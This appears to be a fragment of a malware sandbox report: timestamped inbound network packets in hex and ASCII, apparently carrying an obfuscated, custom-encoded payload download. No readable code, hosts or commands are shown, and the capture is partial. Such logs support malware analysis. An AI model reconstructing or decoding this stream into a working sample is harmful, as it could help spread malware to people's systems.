2021-11-09 21:21:49 UTC	1050	IN	Data Raw: 78 20 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 Data Ascii: x Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo x Ooo x OOY x YY x tQ x KE x OOk x OOK x
2021-11-09 21:21:49 UTC	1051	IN	Data Raw: 78 20 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 Data Ascii: x tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY x tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x OxO x kO x Kt x YR x OOE x Qx x Kt x Y
2021-11-09 21:21:49 UTC	1052	IN	Data Raw: 52 59 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 Data Ascii: RY x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt x Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x YR x tY x tY x Kt
2021-11-09 21:21:49 UTC	1054	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1055	IN	Data Raw: 74 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: tY x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1059	IN	Data Raw: 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b Data Ascii: Kk x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x K
2021-11-09 21:21:49 UTC	1063	IN	Data Raw: 74 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 4f 51 20 Data Ascii: t x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE x kx x OxR x Yo x OOY x tR x Rt x OOQ
2021-11-09 21:21:49 UTC	1064	IN	Data Raw: 4f 4f 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 Data Ascii: OOQ x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to x OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x
2021-11-09 21:21:49 UTC	1069	IN	Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 4f 4f 52 20 78 20 6b 78 20 78 20 52 51 20 78 20 4b Data Ascii: Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yo x OOR x kx x RQ x K
2021-11-09 21:21:49 UTC	1073	IN	Data Raw: 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b Data Ascii: Q x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOK x kk x tk x Ooo x OxE x k
2021-11-09 21:21:49 UTC	1077	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR x KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x
2021-11-09 21:21:49 UTC	1081	IN	Data Raw: 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 52 Data Ascii: t x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY x RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x kx x YR x RY x RY x RY x Rk x Kt x R
2021-11-09 21:21:49 UTC	1085	IN	Data Raw: 45 20 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b Data Ascii: E x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x K
2021-11-09 21:21:49 UTC	1089	IN	Data Raw: 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 78 6f 20 78 20 4b Data Ascii: x OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt x YE x Qx x Qt x tK x Oxo x K
2021-11-09 21:21:49 UTC	1093	IN	Data Raw: 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4f 6f 4f 20 Data Ascii: x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x OOO x YK x Kt x OoO
2021-11-09 21:21:49 UTC	1096	IN	Data Raw: 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f Data Ascii: Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo x Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OO
2021-11-09 21:21:49 UTC	1101	IN	Data Raw: 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 Data Ascii: x OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x
2021-11-09 21:21:49 UTC	1105	IN	Data Raw: 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: k x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt
2021-11-09 21:21:49 UTC	1109	IN	Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 52 20 78 20 Data Ascii: x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x YO x Kt x YY x kE x tO x tR x
